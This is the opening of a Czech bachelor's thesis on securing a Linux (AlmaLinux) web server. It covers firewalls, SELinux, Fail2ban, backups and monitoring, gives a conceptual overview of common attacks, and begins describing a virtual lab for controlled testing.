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Cilem této bakaladrské prace je analyzovat a navrhnout postupy pro
zabezpecleni linuxového serveru, implementovat vybrand opatreni v
laboratornim prostredi, vytvorit metodiku pro sledovani a vyhodnocovani
bezpecnostnich udédlosti a ovérit odolnost serveru vici vybranym
bezpecnostnim hrozbdm prostrednictvim kontrolovanych testl. Na zakladé
ziskanych vysledk( bude provedeno zhodnoceni efektivity navrzenych
opatreni.



Abstrakt

Bakalarska prace se zaméfuje na navrh a implementaci zabezpeceni linuxového serveru
a ovéreni ucinnosti navrzenych opatfeni pomoci vybranych bezpeénostnich testll. Prace je
rozdélena na teoretickou a praktickou ¢ast. Teoreticka ¢ast popisuje zaklady operacniho systému
Linux, principy fungovani serverovych sluzeb a klicové bezpecnostni mechanismy. Prakticka ¢ast
se zabyva konfiguraci serveru na platformé AlmalLinux, nasazenim webového serveru Apache,
databazového systému MariaDB a redakéniho systému WordPress. Dale zahrnuje implementaci
bezpecnostnich prvka, jako je firewall, SELinux, Fail2ban, automatické zalohovani a monitoring.
Funkénost zabezpedeni je ovéfena pomoci penetracnich testli, véetné skenovani portQ,
brute force uUtokd a pokusli o SQL injection. Vysledky ukazuji, Ze navriena opatfeni zvysSuji
odolnost serveru proti béznym hrozbam.

Klicova slova
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Abstract

This bachelor thesis focuses on the design and implementation of Linux server security
and the verification of the effectiveness of the proposed measures through selected security
tests. The thesis is divided into theoretical and practical parts. The theoretical part describes
the fundamentals of the Linux operating system, the principles of server services, and key
security mechanisms. The practical part deals with server configuration on the AlmaLinux
platform, the deployment of the Apache web server, the MariaDB database system,
and the WordPress content management system. Furthermore, it includes the implementation
of security features such as a firewall, SELinux, Fail2ban, automated backup, and monitoring.
The functionality of the security measures is verified using penetration tests, including port
scanning, brute force attacks, and SQL injection attempts. The results demonstrate that
the proposed measures significantly increase the server's resilience against common threats.
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Uvod

Cilem bakalarské prace je analyzovat a navrhnout postupy pro spravnou konfiguraci linuxového
serveru a nasledné ovéfit jeho odolnost vici vybranym bezpecnostnim atoklm. V ramci prace
budou implementovana vybrand zabezpecovaci opatieni v laboratornim prostfedi a bude
vypracovana metodika pro sledovani a vyhodnocovani bezpecnostnich udalosti. Na zakladé
ziskanych experimentalnich dat bude provedeno vyhodnoceni efektivity navrzenych opatfeni
a formulovana doporuceni pro praxi.

Teoreticka ¢ast se zaméri na popis zakladnich bezpecnostnich prvkil linuxového serveru, jejich
principt fungovani a vzajemnych vazeb. Budou popsany relevantni technologie a nastroje, které
budou vyuzZity v praktické c¢asti. Napriklad Fizeni pristupl, SELinux/AppArmor, firewall
(iptables/nftables), nastroje pro prevenci hrubych atokd (naptiklad Fail2ban), systémy logovani
a monitoringu, zalohovaci mechanismy a zakladni typy utok( (DDoS, SQL injection, brute-force
apod.). Teoretické poznatky budou slouZit jako podklad pro navrh a odlvodnéni konkrétnich
konfiguracnich krokd.

V praktické ¢asti budou popsany priprava laboratorniho prostredi a konkrétni kroky hardeningu
serveru. Bude provedena instalace a zabezpeceni testovaci sluzby (napfiklad WordPress na
Apache s databazi), nastaveni logovani, monitoringu a zdlohovani a nasazeni ochrannych
nastroju. Nasledné budou realizovany kontrolované bezpecnostni testy (simulované DDoS, SQLi,
brute force a dalsi Utoky z Kali Linuxu) s cilem méfit chovani systému pred a po aplikaci
bezpecnostnich opatreni. Shromazdénd data budou analyzovdna a na jejich zdkladé bude
provedeno hodnoceni Ucinnosti navrzenych postup.
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1 Teoreticka ¢ast

Teoretické cast se bude zabyvat zakladnimi principy a popisy pozitych programd a Linuxovych
distribuci. Prace zacina zaklady ohledné Linuxu, kde bude popsana historie a pro¢ se vibec
vybrany operacni systém pouziva. Nasledné se bude zabyvat zdkladnimi bezpeénostnimi riziky,
co je to takzvana CIA triada. Sitové sluzby obecné a popis nejbéznéjsich sluzeb bézicich
na serverech. Jak spravné pristupovat k serveru a bezpecna komunikace vzdalené. Budeme se
zabyvat SELinuxem. Podivame se na sitovou ochranu a jak pracuiji firewally. Zadlohovani dat a typy
zalohovani dat. Spravné logovani uZivatell a chyb. V neposledni fadé na vybrané typy utokd.

1.1 Zaklady Linuxu

GNU/Linux je oznaceni pro svobodny a otevieny operacni systém, ktery je zaloZen na Linuxovém
jadru a nastrojich projektu GNU. Systém je Sifen pod svobodnymi licencemi, diky ¢emuz mize
byt volné upravovan, studovan a ddle distribuovan. Diky své nendrocnosti na hardware je
vyuzivan v Siroké skale zafizeni, od server(l a pracovnich stanic az po chytré telefony, sitové prvky
nebo vestavéné systémy. V mnoha ptipadech je Linux pouzivan i uZivateli, ktefi si jeho
pfitomnost neuvédomuji, napfiklad v rdmci rdznych komerénich zafizeni nebo sluzeb.
Pro uZivatele je systém dostupny prostfednictvim takzvanych distribuci, mezi néz patti napfriklad
Almalinux, Debian, Ubuntu nebo Fedora. Kazdd distribuce je spravovana vlastni komunitou
¢i organizaci a lisi se vybérem softwaru, zacilenim i pfistupem k aktualizacim. (Milota, 2023,
s.17)

1.1.1 Historie Linuxu

Pocatky Linuxu jsou spojeny s rokem 1983, kdy byl Richardem Stallmanem zahajen projekt GNU.
Jeho cilem bylo vytvoreni plné svobodného operacniho systému, avsak dlouhou dobu chybélo
jadro, které by umoznilo béh systému a komunikaci s hardwarem. Problém byl ¢aste¢né vyresen
v roce 1991, kdy student Linus Torvalds zahdjil prace na vlastnim unixovém jadre. Torvaldsovo
jadro bylo uvolnéno pod svobodnou licenci a rychle si ziskalo podporu komunity, ktera zacala
aktivné pfispivat k jeho rozvoji. Postupem c¢asu mohly byt na zakladé tohoto jadra vytvareny
razné linuxové distribuce, jejichz pocet i rozsah funkci se rychle rozsifoval. Z plvodniho
studentského projektu se tak vyvinul jeden z nejpouzivanéjsich operacnich systému soucasnosti,
ktery je nasazovan v kritickych serverovych prostredich, vypocetnich clusterech i béznych
uzivatelskych zafizenich. (Root, Nedatovano)

1.1.2 Architektura Linuxu

Architektura GNU/Linuxu je zaloZena na vicevrstvém usporadani, ve kterém jednotlivé Casti
systému spolupracuji prostfednictvim jasné definovanych rozhrani. Zakladni vrstvu tvofi
Linuxové jadro, jehoz Ukolem je zajistovat komunikaci mezi hardwarem a softwarem, spravovat
pamét, procesy, souborové systémy a sitové operace. Nad vrstvou se nachazi systémové
knihovny, zejména knihovny projektu GNU, které poskytuji funkce potifebné pro béh aplikaci
a komunikaci s jddrem pomoci systémovych volani. Dalsi vrstvou jsou uZivatelské nastroje
a sluzby, jeZ zajistuji spravu systému, konfiguraci a zakladni uZivatelskou interakci. Na nejvyssi
Urovni se nachazi grafické prosttedi nebo aplikacni nadstavby, které umoZiuji uzivateli pracovat
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se systémem pohodlnym a srozumitelnym zplsobem. Cela architektura je navrZzena modularng,
diky ¢emuz muze byt systém snadno pfizpGsobovan rGznym uGceldm — od serverld pres
desktopova prostiedi az po vestavéna zafizeni. (Hosta Blanca, 2023)

uzivatel

v T o1

P La GNU
graficke aplikace < utility
7 A shell
| textové
X server €{ aplikace

2 A v A

Linuxové jadro

hardware

Obrazek 1: Schéma zobrazujici zakladni architekturu systému
Zdroj: MUNI (Neuvedeno)

1.2 Zakladni bezpecnostni principy

Bezpecénost informacnich systém je definovana souborem pravidel a opatfeni, jejichz cilem je
chranit data, sluzby a systémy prfed neoprdvnénym pristupem, ztratou nebo poskozenim.
Klicovym modelem, ktery se v oblasti kybernetické bezpecnosti vyuzZivd pro definovani
a hodnoceni téchto pravidel, je tzv. CIA tridda, ktera se sklada ze tri zakladnich principG:
dlvérnosti (confidentiality), integrity (integrity) a dostupnosti (availability). Model poskytuje
rdmec pro tvorbu bezpecnostnich politik, mechanism( ochrany i nasledného vyhodnocovani,
zda zabezpeceni funguje podle pozadavkd. (Chai, 2023)

o Dlvérnost predstavuje ochranu pred neopravnénim pfistupem a zverejnénim, data jsou
chranéna jak fyzicky, zabezpeceni datovych center, az po softwarové bezpeénosti
protokoly. (02 CyberNews, Nedatovano)

o Integrita zajistuje Uplnost a presnost spolehlivost dat v systému, zajistuje, Ze informace
budou ménény jenom opravnénymi osobami nebo zlistanou beze zmény. (02
CyberNews, Nedatovano)

J Dostupnost zajistuje, Zze data v systému budou vidy rychle, kvalitné a s minimalnimi
vypadky dostupné pro autorizované uzivatele. (02 CyberNews, Nedatovano)

Model CIA triady je Siroce povazovan za zakladni stavebni kdmen bezpecnostnich politik a je
Casto zahrnut do mezinarodnich standardd a ramcq, které definuji pozadavky na informacni
bezpecnost. Jeho aplikace se uplatiiuje jak v navrhu zabezpeceni, tak i pfi nasledném testovani
a vyhodnocovani bezpecnostnich opatreni. (02 CyberNews, Nedatovano)
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1.3 Sitové sluzby a bezpecnost

Sitové sluzby predstavuji zakladni stavebni prvek serverovych systéma, nebot umoznuji vzdaleny
pfistup, komunikaci a poskytovani dat uzivatelim i dalSim systémim. Kazda spusténa sluzba
vSak zaroven rozSifuje takzvanou utocnou plochu serveru, a proto je nutné vénovat jejich
konfiguraci a zabezpeceni zvySenou pozornost. V rdmci zabezpeceni linuxového serveru je
kladen didraz zejména na minimalizaci poctu aktivnich sluZzeb, spravné nastaveni pfistupovych
prav a pribéziné sledovani jejich chovani. (Root, Nedatovano)

1.3.1 SSH

Sluzba SSH je nejcastéji vyuZivana pro vzdalenou spravu linuxovych server(. Nejcastéji sluzba
béZzi na TCP portu 22. UmoZiuje bezpecnou komunikaci prostfednictvim Sifrovaného spojeni
a nahrazuje dfive pouzivané nezabezpecené protokoly, jako je naptiklad Telnet. Pfestoze je SSH
povaZovano za relativné bezpecné, byva castym cilem atok( typu brute-force nebo pokus(
o prolomeni slabych hesel. Proto je doporuceno zakazat prihlaseni uZivatele root, vyuzivat
autentizaci pomoci kryptografickych kli¢, omezit pfistup pouze na vybrané uZivatele a zménit
vychozi nastaveni sluzby. Dalsim dulleZitym opatfenim je monitorovani prihlasovacich pokust
a vyuZiti nastroja, které dokazou automaticky reagovat na podezrelé chovani. (Lightyear, 2026)

1.3.2 HTTP a HTTPS

Webové sluzby poskytované prostfednictvim protokold HTTP a HTTPS patfi mezi nejrozsirenéjsi
sitové sluzby. Protokoly obvykle bézi na TCP portech 80 a 443. HTTP protokol sam o sobé
neposkytuje Zddné mechanismy Sifrovani, coZz muze vést k odposlechu prenasenych dat. Proto
je v produkénich prostfedich preferovano poufZiti protokolu HTTPS, ktery zajistuje Sifrovani
komunikace pomoci certifikatd TLS. Bezpecnost webovych sluzeb je dale ovlivnéna spravnou
konfiguraci webového serveru, aktualizacemi softwaru a omezenim pfistupu k citlivym
souboriim. Nedostatecné zabezpecené webové aplikace mohou byt zneuZity k Gtokdm, jako je
SQL injection, vzdalené spusténi kddu nebo unik dat. (Lightyear, 2026)

1.3.3 DNS (Domain Name System)

Sluzba DNS zajistuje preklad doménovych jmen na IP adresy a je nezbytna pro spravné fungovani
sitové komunikace. Nespravné zabezpeceni DNS serveru muze byt zneuzito k Gtokdm typu DNS
spoofing, cache poisoning nebo jako prostiedek pro zesileni DDoS utok(. Z hlediska bezpecnosti
je dllezité omezit, kdo mize DNS server vyuZivat a spravovat a zajistit pravidelnou kontrolu jeho
konfigurace. Doporucovdano je rovnéZ oddéleni autoritativnich a rekurzivnich funkci DNS
a sledovani neobvyklé sitové aktivity. (Novak, 2026)

1.3.4 Databazové sluzby

Databazové systémy predstavuji kritickou sou¢ast mnoha serverovych aplikaci, nebot uchovavaji
citliva data. Mezi nejCastéji pouzivané databazové sluzby v linuxovém prostredi patii MySQL,
MariaDB nebo PostgreSQL. Z bezpecnostniho hlediska je zasadni omezeni pfistupu k databazi
pouze na opravnéné aplikace a uzivatele, pouzivani silnych autentizac¢nich udaji a oddéleni
databazovych uctd podle jejich ucelu. Databazové servery by nemély byt vystaveny prfimo do
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verejné sité, pokud to neni nezbytné, a jejich provoz by mél byt pravidelné monitorovan.
(UNIXLINUX, Nedatovano)

1.3.5 Rizika bézicich sluzeb

Kazda aktivni sitova sluzba predstavuje potencidlni riziko, pokud neni spravné nakonfigurovana
nebo pravidelné aktualizovana. Mezi hlavni hrozby patfi zneuZiti zndmych zranitelnosti,
neopravnény pristup, zahlceni sluzby nebo kompromitace celého systému. Proto je doporuceno
provozovat pouze nezbytné sluzby, pravidelné provadét bezpecnostni aktualizace a analyzovat
systémové logy. Minimalizace bézicich sluzeb vyznamné snizuje riziko Uspésného utoku a zvysuje
celkovou bezpecénost serveru. (MUNI, 2021)

1.4 SELinux/AppArmor a fizeni pfistupu na Urovni jadra

SELinux a AppArmor predstavuji bezpecnostni mechanismy pro tizeni pfistupu na Urovni jadra
operacniho systému Linux. Jejich hlavnim cilem je omezit ¢innost procesl pouze na povolené
operace a tim snizit dopady pfipadného bezpecnostniho incidentu. Mechanismy rozsifuji
standardni model pfistupovych prav zaloZeny na uZivatelich a skupinach o takzvané povinné
fizeni pfistupu (MAC — Mandatory Access Control).

1.4.1 SELinux

SELinux (Security-Enhanced Linux) je zaloZen na bezpecnostnich politikdch, které urcuji, jaké
operace mohou jednotlivé procesy vykonavat nad systémovymi prostfedky. Politiky jsou
definovany pomoci bezpecénostnich kontextd a pravidel, ktera jsou vynucovana jadrem systému.
SELinux muZe pracovat v nékolika rezimech, mezi které patfi rezim vynucovani (enforcing),
permisivni rezim (permissive) a vypnuty stav (disabled). V permisivnim reZzimu jsou poruseni
pravidel pouze zaznamendvana do logl, coZz umoznuje ladéni konfigurace bez omezeni
funkénosti systému. (Timalsinat, 2025)

1.4.2 AppArmor

AppArmor vyuziva odliSny pfistup zaloZeny na profilech aplikaci, které definuji povoleny pfistup
k souboriim, sitovym prostfedkdm a dal$im systémovym zdrojim. Oproti SELinuxu je AppArmor
obecné povazovan za jednodussi na konfiguraci, avSak nabizi méné detailni fizeni pfistupu.
Stejné jako SELinux umozZiuje provoz v reZzimu vynucovani nebo v rezimu uceni, kdy jsou profily
postupné zpresnovany Mezi doporucené postupy pri vyuziti téchto mechanism( patfi ponechani
bezpecnostniho aktivniho systému, pravidelna kontrola logli a postupna Uprava politik ¢i profilQ.
Spravné nakonfigurované fizeni pfistupu na Urovni jadra vyznamné zvySuje odolnost systému
vlci kompromitaci. (Timalsina, 2025)

1.5 Sitova ochrana: firewall a filtrovani (iptables/nftables)

Sitova ochrana predstavuje jednu z nejdulezitéjSich vrstev zabezpeceni linuxového serveru,
protoze pfimo fidi a omezuje tok sitové komunikace mezi serverem a jeho okolim.
Zakladem sitové ochrany je firewall, ktery umoznuje kontrolovat ptichozi a odchozi pakety
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na zakladé pravidel, ktera definuji, jaké typy pfenosu jsou povoleny a jaké blokovany. (Najbr,
2009)

Linuxové firewally jsou implementovany jako soucdst jadra prostfednictvim frameworku
Netfilter. Netfilter provadi samotné filtrovani paketd a je ovladan rlznymi nastroji, z nichz
nejcastéjsi jsou iptables a jeho modernéjsi nastupce nftables. Moderni distribuce Linuxu také
Casto poutZivaji front-end ndstroje jako ufw nebo firewalld, které nad témito technickymi
rozhranimi poskytuji jednodussi konfiguraci. (Najbr, 2009)

1.5.1 Princip firewallu

Firewall pracuje se sadou pravidel, ktera urcuji, jak se bude s pfichozimi a odchozimi pakety
nakladat:

e Povolit (ACCEPT) — paket je pfijat a sluzby ho mohou zpracovat.

e Zamitnout (DROP/REJECT) — paket je zahozen nebo je odeslana zprava o odmitnuti.

e Implicitni politika — obvykld bezpecnostni strategie spocivda vtom, Ze se implicitné
zakazuje veskery provoz, a teprve specidlni pravidla povoluji jen nezbytné sluzby
(napriklad SSH nebo HTTP).

Popsany pristup vyrazné omezuje riziko zneuziti otevienych portl ¢i sluzeb, které nejsou v dobé
provozu potreba. (Najbr, 2009)

1.5.2 Stavové filtrovani

Moderni firewally ¢asto pouzivaji takzvané stavové filtrovani. To znamena, ze firewall
neanalyzuje pouze jednotlivé pakety abstraktné, ale sleduje stav sitovych spojeni (napfiklad zda
jde o novy poZadavek nebo pokracovani existujici komunikace). Stavové filtrovani umoziuje:

e povolit odpovédi na legitimni pozadavky (napfiklad odpovéd na HTTP pozadavek),
e blokovat nevyZadané nebo podezielé pakety, které nepatfi do Zadného zndmého
spojeni.

Tim se zvySuje bezpecnost i efektivita sitové komunikace. (Najbr, 2009)

1.5.3 NAT (Network Address Translation)

Soucasti sitové ochrany je Casto i preklad sitovych adres (NAT), ktery se pouZivd zejména
na serverech, které sdileji jednu vefejnou IP adresu mezi vice vnitfnimi adresami NAT:

e prekryva skute¢nou topologii vnitrni sité a skryva interni adresy pred vefejnou siti,
e pridava dalsi vrstvu ochrany proti pfimym Gtokdm na interni systémy.

NAT je tradi¢né realizovan pravé prostfednictvim firewallovych pravidel (naptiklad tabulka nat
v iptables / nftables). (Krémar, 2007)

1.5.4 Nastroje pro konfiguraci firewallu

V linuxovych systémech existuji rizné zpulsoby, jak firewall nastavit. Iptables je tradi¢ni nastroj
pro spravu pravidel Netfilteru, pracuje s tabulkami jako filter, nat nebo mangle, které obsahuiji
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fetézce pravidel pro rlizné typy provozu, je stéle Siroce podporovany a pouzivan. Nftables je
modernéjsi nastroj nahrazujici iptables, poskytuje vykonnéjsi a jednodussi model pro psani
pravidel pomoci jednoho nastroje (nft) misto nékolika samostatnych utilit, umozZniuje definovat
pravidla jako transakce a podporuje proménné, coz zjednodusuje spravu komplexnich filtrd.
(Krémat, 2019)

1.6 Ochrana proti hrubym utokdm a rate-limiting

Ochrana proti hrubym uUtokdm predstavuje kliCovy aspekt zabezpeceni linuxového serveru,
zejména u sluzeb vystavenych do verejné sité. Hrubé utoky (brute-force attacks) jsou
systematické pokusy o prolomeni autentiza¢nich Gdajd, typicky formou opakovanych
neuspésnych pokusl o prihlaseni. Hrubé utoky mohou vést az k neopravnénému pfistupu do
systému, pokud nejsou prijata adekvatni ochrannd opatifeni. Proto je nezbytné zavadét
mechanismy, které omezuji pocet pokusi o navazani spojeni v uréitém ¢asovém intervalu a tim
snizuji pravdépodobnost Uspésného utoku. (Shirokova, 2017)

1.6.1 Princip hrubych utoku a potreba rate-limitingu

Hrubé Utoky ¢asto vyuzivaji automatizované skripty ¢i botnety, které opakované zkouseji béznd
nebo slovnikova hesla na rznych sluzbach (naptiklad SSH, FTP ¢i webové rozhrani). Bez omezeni
poctu pokusli mlze atocénik rychle vyCerpat vsechny kombinace hesel, zejména pokud je heslo
slabé, coZ predstavuje vdinou bezpecnostni hrozbu. Rate-limiting a blokovani opakovanych
pristupll proto funguje jako efektivni prevence, kterd zpomaluje nebo zcela zastavuje utoky, tak
Ze omezi dalsi pfistupy z téZe IP adresy po prekroceni urcitého limitu neldspésnych pokust.
(Startup Defense, 2026)

1.6.2 Fail2ban — detekce a reakce na podezfelou aktivitu

Jednim z nejrozsitenéjsich nastroju pro detekci na podezielou aktivitu je Fail2ban — framework
pro prevenci prlniku, ktery monitoruje systémové a aplikaéni logy za ucelem identifikace
podezielého chovani. Fail2ban funguje na principu:

1. Analyzy logl: Fail2ban kontinualné sleduje konfigurované logovaci soubory (napfiklad
/var/log/auth.log pro SSH nebo jiné logy pro webové sluzby) a vyhledava zaznamy
neuspésnych pokusi o pfihlaseni nebo jiné indikatory podezielého chovani. (Petkovsky,
2025)

2. Filtrd a pravidel: Pomoci filtr( zaloZenych na regularnich vyrazech identifikuje opakujici
se vzorce, které naznacuji hruby utok (napfiklad opakované odmitnuté pokusy béhem
kratkého casového useku). (Petkovsky, 2025)

3. Blokovani zdroje: Pokud pocet nelspésnych pokustd od téhoz plvodu (IP adresy)
prekro¢i predem definovany limit v konfigurovaném case, Fail2ban provede
akci — nejcastéji Casové omezené zablokovani dané IP adresy. Akce je typicky
realizovand prostfednictvim zmény pravidel firewallu (napfiklad pomoci
iptables/nftables nebo jiné technologie firewallu), coZ zamezi dal$im pokusim z toho
samého zdroje. (Petkovsky, 2025)
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4. Automatické obnoveni: Po uplynuti definované doby blokace (tzv. bantime) Fail2ban IP
adresu z firewallovych pravidel automaticky odstrani, aby se predeSlo trvalému
zablokovani legitimnich uZivatel(. (Petkovsky, 2025)

Cely proces je tedy zalozen na kombinaci detekce opakovanych chyb v log souborech
a dynamickém fizeni pravidel firewallu, coZz umoziiuje efektivni omezeni hrubych utokl bez
trvalého blokovani legitimnich pfistupU. (Petkovsky, 2025)

1.6.3 Konfigurace a flexibilita ochrany

Fail2ban dovoluje vytvofit rlizné ,jails“ — kombinace filtr(i a pravidel pro jednotlivé sluzby, jako
je SSH, webovy server, databazovy server apod. Pro kaZdou sluzbu lze nastavit samostatné
parametry:

e maxretry — maximalni pocet povolenych nelspésnych pokusi za urcité ¢asové okno,
e findtime — ¢asové okno, béhem néjz se pocitaji pokusy,
e bantime — délka blokace IP adresy po pfekroceni limitu.

Popsana granularita umoznuje prizplsobit miru ochrany konkrétnimu typu sluzby a jejimu
rizikovému profilu. Napriklad u kritickych sluzeb maze byt lower limit pokusl a delsi doba
blokace, zatimco méné rizikové sluzby mohou mit mirnéjsi nastaveni. (Noufal, Neuvedeno)

1.6.4 Role rate-limitingu

Mechanismy, které Fail2ban vyuZiva, lze povaZovat za formu rate-limitingu — tizeni rychlosti
opakovanych pfristupU. Rate-limiting sniZuje Sanci automatizovanych Gtokd tim, Ze zpomaluje
opakované pozadavky, a nakonec je Uplné blokuje z urcitého zdroje. Spravné nastavené politiky
vybraného typu vyrazné snizuji Uspésnost hrubych atokd a prispivaji ke zvyseni celkové odolnosti
serveru vUci automatizovanym hrozbam. (Startup Defense, 2026)

1.7 Monitoring a zalohovani

Monitoring a zalohovdani patfi mezi zdkladni pilife bezpe¢ného a spolehlivého provozu
linuxového serveru. Jejich hlavnim ucelem je zajisténi kontinualni dostupnosti sluzeb, v€asné
odhaleni provoznich anomalii a moZnost obnovy dat v pfipadé selhani hardwaru, softwarové
chyby, lidského pochybeni nebo bezpecnostniho incidentu. Zalohovaci mechanismy vyznamné
pfispivaji k ochrané integrity dat a minimalizaci dopadu nepredvidanych udalosti. (Puyet, 2026)

1.7.1 Monitoring serveru

Monitoring serveru je zaloZen na pribéiném sledovani vybranych systémovych a aplikacnich
metrik, které poskytuji pfehled o aktualnim stavu a vykonu systému. Mezi klicové sledované
parametry patfi zejména vytiZzeni procesoru, vyuZiti operacni paméti, zaplnéni diskového
prostoru a vykon diskovych vstupné-vystupnich operaci. Dale mdze byt monitorovéana sitova
komunikace, dostupnost béZicich sluzeb nebo doba odezvy systému. (Puyet, 2026)

Analyza téchto udajli umoznuje vcas identifikovat neobvyklé chovani, které mlze signalizovat
technicky problém, chybnou konfiguraci nebo potencialni bezpecnostni hrozbu. Monitorovaci
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systémy obvykle umoznuji nastaveni prahovych hodnot, pfi jejichZ prekroceni jsou generovana
upozornéni pro spravce systému. Diky tomu je mozné rychle reagovat a zabranit eskalaci
problému do zdvaznéjsiho vypadku. (Puyet, 2026)

Pravidelny a systematicky monitoring tak snizuje riziko dlouhodobé neodhalenych poruch
a prispiva k celkové stabilité a bezpecnosti serverového prostredi. (Puyet, 2026)

1.7.2 Zalohovani dat

Zalohovani predstavuje klicovy nastroj ochrany proti ztrdté nebo poskozeni dat. Jeho cilem je
zajistit moznost obnovy systému do funkéniho stavu i v situacich, kdy dojde k nevratnému
poskozeni primarnich dat. Efektivni zalohovaci strategie musi zohledriovat nejen zplsob
vytvareni zdloh, ale také jejich ukladani, zabezpeceni a pravidelné ovérovani obnovitelnosti.
(Mican, 2015)

Z hlediska rozsahu rozliSujeme nékolik zakladnich typ( zaloh:

e PInd zdloha - zahrnuje kompletni kopii vSech vybranych dat. Je nejjednodussi

e PfirGstkova zéloha — uklada pouze data, kterd byla zménéna od posledni provedené
zalohy (pIné nebo prirlstkové). Zvoleny pristup vyrazné Setfi Ulozny prostor a zkracuje
dobu zalohovéni, avSak obnova dat vyzaduje dostupnost celé posloupnosti zaloh.
(Mican, 2015)

e Rozdilova zadloha — zaznamendva zmény provedené od posledni plné zalohy. Oproti
prirGstkovému zalohovani je obnova jednodussi, protoze je potfeba pouze posledni plna
a posledni rozdilova zaloha, avsak s rostoucim ¢asem narusta jeji velikost. (Mican, 2015)

Volba konkrétniho typu zalohovani zavisi na charakteru provozovaného systému, objemu dat
a pozadavcich na rychlost obnovy. V praxi se ¢asto vyuzivd kombinace plnych a pfirGstkovych
nebo rozdilovych zaloh, ktera predstavuje kompromis mezi efektivitou uklddani a jednoduchosti
obnovy. (Mican, 2015)

Nedilnou soucasti zalohovaci strategie je také pravidelné testovani obnovy dat, které ovéruje
funkénost zaloh a pfipravenost systému na krizové situace. Bez ovéreni obnovitelnosti nelze
zadlohovani povaZzovat za spolehlivé. (Mican, 2015)

1.7.3 Vyznam kombinace monitoringu a zalohovani

Kombinace efektivniho monitoringu a promysleného zalohovani vyrazné zvySuje odolnost
linuxového serveru vici provoznim i bezpecnostnim hrozbdam. Zatimco monitoring umoznuje
problémim predchazet nebo je vcas detekovat, zalohovani poskytuje posledni zachrannou
vrstvu v situacich, kdy preventivni opatfeni selZou. Spole¢né mechanismy tvofi nedilnou soucast
komplexniho zabezpeceni serverového systému. (Docekal, 2010)

1.8 Prehled utokd relevantnich pro praci

Bezpecnost linuxového serveru je ohroZovana Sirokym spektrem atok(, které mohou cilit jak
na samotny operacni systém, tak na provozované sluzby a aplikace. Pro ucely této prace jsou
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relevantni zejména utoky, které se casto vyskytuji v serverovych prostfedich a mohou mit pfimy
dopad na dlvérnost, integritu a dostupnost systému. (Docekal, 2010)

1.8.1 DDoS (Distributed Denial of Service)

Utok typu Distributed Denial of Service (DDoS) piedstavuje pokus o zahlceni serveru nebo sluzby
velkym mnozZstvim pozadavk(l z vice zdroji soucasné. Cilem je vyCerpat dostupné systémové
prostifedky, jako je Sitka pasma, procesorovy ¢as nebo pamét, coz vede k nedostupnosti sluzby
pro legitimni uzivatele. (Grygafikova, 2019)

DDoS utoky mohou mit rGzné formy, napftiklad volumetrické utoky, protokolové utoky nebo
aplikacni atoky zamérené na konkrétni sluzby. V prostfedi linuxovych serverd predstavuji
vyznamnou hrozbu zejména pro verejné dostupné sluzby. (Grygarikova, 2019)

1.8.2 SQLl injection

SQL injection predstavuje Utok zaméreny na databazovou vrstvu aplikace, pfi kterém utocnik
vklada skodlivé SQL dotazy do vstupnich poli aplikace. Nedostatec¢né oSetfené vstupy mohou

,,,,,

2020)

Utok SQL injection umoZfiuje naptiklad obejit autentizaci, ¢ist nebo ménit data v databdzi,
pripadné spoustét administrativni operace. Riziko vyskytu Utoku roste u aplikaci, které
nepouZivaji parametrizované dotazy nebo neprovadéji validaci vstup(. (Bahurekova, 2020)

1.8.3 RCE (Remote Code Execution)

Remote Code Execution (RCE) oznacuje typ zranitelnosti, ktera umoznuje Uto¢nikovi spustit
libovolny kéd na vzdaleném systému. Uspéiné zneuZiti vede k plnému prevzeti kontroly
nad serverem a predstavuje jednu z nejzavaznéjsich bezpecnostnich hrozeb. (CyberHoot, 2022)

RCE zranitelnosti vznikaji napfiklad v disledku chyb v aplikacich, nespravného zpracovani vstupl
nebo $patné konfigurace sluieb. Utoénik mGze prostiednictvim takové zranitelnosti instalovat
Skodlivy software, ziskat citliva data nebo zneuZit server pro dalsi utoky. (CyberHoot, 2022)

1.8.4 Brute-force utoky

Brute-force utoky spocivaji v opakovaném zkouseni rliznych kombinaci prihlasovacich udajl
scilem ziskat neopravnény pfistup k systému. Utoky byvaji automatizované a vyuZivaji
specializované nastroje pro generovani hesel. (Shirokova, 2017)

Brute-force utoky jsou casto zaméreny na sluzby jako SSH, FTP nebo webové pfihlasovaci
formulare. Usp&snost Utoku zavisi predeviim na sile hesla a implementaci ochrannych

mechanismU, napfiklad omezeni poctu pokusl o prihlaseni nebo vice faktorové autentizace.
(Shirokova, 2017)

19



Vysokd skola polytechnicka Jihlava

2 Prakticka cast

Prakticka ¢ast se zabyva ndavrhem, implementaci a testovanim bezpecnostnich opatfeni
na linuxovém serveru v izolovaném laboratornim prostfedi. Cilem je ovéfit U¢innost jednotlivych
mechanismu oproti béZnym typim utokl a vyhodnotit pfinos z hlediska zvyseni bezpecnosti
systémU. Dlraz je kladen nejen na samotnou implementaci, ale i na dokumentaci, méreni
a analyzu ziskanych dat.

2.1 Popis laboratorniho prostfedi

Celé testovani probiha v uzavieném virtualnim prostfedi vytvofeném pomoci nastroje Hyper-V
od spolecnosti Microsoft. Virtudlni stroje jsou propojeny v interni siti, ktera neumoznuje primy
pristup do internetu béhem provadéni utok.

Prvni virtudlni stroj je zalozen na distribuci AlmaLinux ve verzi 10. Server predstavuje cilovy
systém, ktery je postupné zabezpecovan a nasledné testovan. Na serveru bézi sitové sluzby,
webovy server a databazovy server. Server ma pridéleno 4 GB operacni paméti a 60 GB
diskového prostoru. Po instalaci systému byl vytvoren standardni uZivatel, zatimco
administratorsky ucet root nebyl pouzivan pro béznou praci.

Druhy virtualni stroj byl koncipovdna jako dedikovany zdlohovaci server. Primarni ucel spocival
v zajisténi pravidelné zalohy dat a systémovych konfiguraci prvniho virtudlniho stroje. Kromé
zadlohovacich mechanisml byla na daném rozhrani zprovoznéna také centralni ¢ast (hub)
monitorovaciho systému Beszel. Prostfednictvim uvedené platformy bylo realizovano
kontinualni sledovani provoznich parametrd a vytizeni systémovych prostfedkd prvniho
virtualniho stroje, coZz umoznilo efektivni shér telemetrickych dat v redlném case.

Treti virtudlni stroj vyuziva distribuci Kali Linux a slouzi jako Utocny systém. Obsahuje nastroje
pro penetracni testovani, sitové skenovani a zatéZzové testy. Virtualni stroj je pouZzivan vyhradné
k provadéni kontrolovanych utokl na cilovy server.

2.2 Zakladni hardening serveru (implementace)

Zakladni hardening serveru predstavuje prvni fazi praktické implementace bezpecnostnich
opatreni v ramci konfigurace operacniho systému. Hardening lze definovat jako proces
systematického sniZovani Utocné plochy systému prostfednictvim odstranéni nepotiebnych
sluZzeb, omezeni pfistupovych opravnéni a zpfisnéni konfigurace klicovych komponent.

